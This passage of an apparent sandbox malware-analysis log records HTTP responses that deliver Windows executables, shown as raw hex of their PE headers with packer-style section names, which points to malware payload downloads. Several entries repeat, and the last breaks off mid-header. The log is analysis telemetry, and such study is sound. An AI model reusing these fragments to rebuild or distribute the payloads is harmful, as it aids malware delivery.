Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:08 GMTContent-Type: application/octet-streamContent-Length: 4392448Last-Modified: Wed, 20 Nov 2024 06:26:53 GMTConnection: keep-aliveETag: "673d812d-430600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 b0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c4 00 00 04 00 00 06 1b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 92 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 92 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 63 79 69 62 71 6d 00 60 1b 00 00 40 a9 00 00 54 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 63 72 61 64 77 6f 64 00 10 00 00 00 a0 c4 00 00 04 00 00 00 e0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 c4 00 00 22 00 00 00 e4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:08 GMTContent-Type: application/octet-streamContent-Length: 4392448Last-Modified: Wed, 20 Nov 2024 06:26:53 GMTConnection: keep-aliveETag: "673d812d-430600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 b0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c4 00 00 04 00 00 06 1b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 92 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 92 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 63 79 69 62 71 6d 00 60 1b 00 00 40 a9 00 00 54 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 63 72 61 64 77 6f 64 00 10 00 00 00 a0 c4 00 00 04 00 00 00 e0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 c4 00 00 22 00 00 00 e4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:16 GMTContent-Type: application/octet-streamContent-Length: 1855488Last-Modified: Wed, 20 Nov 2024 06:31:35 GMTConnection: keep-aliveETag: "673d8247-1c5000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 94 dc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 66 76 68 66 68 65 75 00 c0 19 00 00 80 2f 00 00 b8 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 68 6c 77 64 62 70 66 00 10 00 00 00 40 49 00 00 04 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 2e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:16 GMTContent-Type: application/octet-streamContent-Length: 1855488Last-Modified: Wed, 20 Nov 2024 06:31:35 GMTConnection: keep-aliveETag: "673d8247-1c5000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 94 dc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 66 76 68 66 68 65 75 00 c0 19 00 00 80 2f 00 00 b8 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 68 6c 77 64 62 70 66 00 10 00 00 00 40 49 00 00 04 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 2e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:21 GMTContent-Type: application/octet-streamContent-Length: 1800704Last-Modified: Wed, 20 Nov 2024 06:31:42 GMTConnection: keep-aliveETag: "673d824e-1b7a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 20 a1 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 66 73 77 6e 79 71 76 00 e0 19 00 00 30 4f 00 00 da 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 68 72 79 6f 73 6c 71 00 10 00 00 00 10 69 00 00 06 00 00 00 52 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 58 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:26 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Wed, 20 Nov 2024 06:29:49 GMTConnection: keep-aliveETag: "673d81dd-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d5 81 3d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 61 89 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 b0 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 a6 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:31 GMTContent-Type: application/octet-streamContent-Length: 2770944Last-Modified: Wed, 20 Nov 2024 06:30:16 GMTConnection: keep-aliveETag: "673d81f8-2a4800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 78 6e 75 64 64 6a 67 00 00 2a 00 00 a0 00 00 00 e8 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 61 77 61 70 71 69 73 00 20 00 00 00 a0 2a 00 00 04 00 00 00 22 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 26 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:10:37 GMTContent-Type: application/octet-streamContent-Length: 2770944Last-Modified: Wed, 20 Nov 2024 06:30:18 GMTConnection: keep-aliveETag: "673d81fa-2a4800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 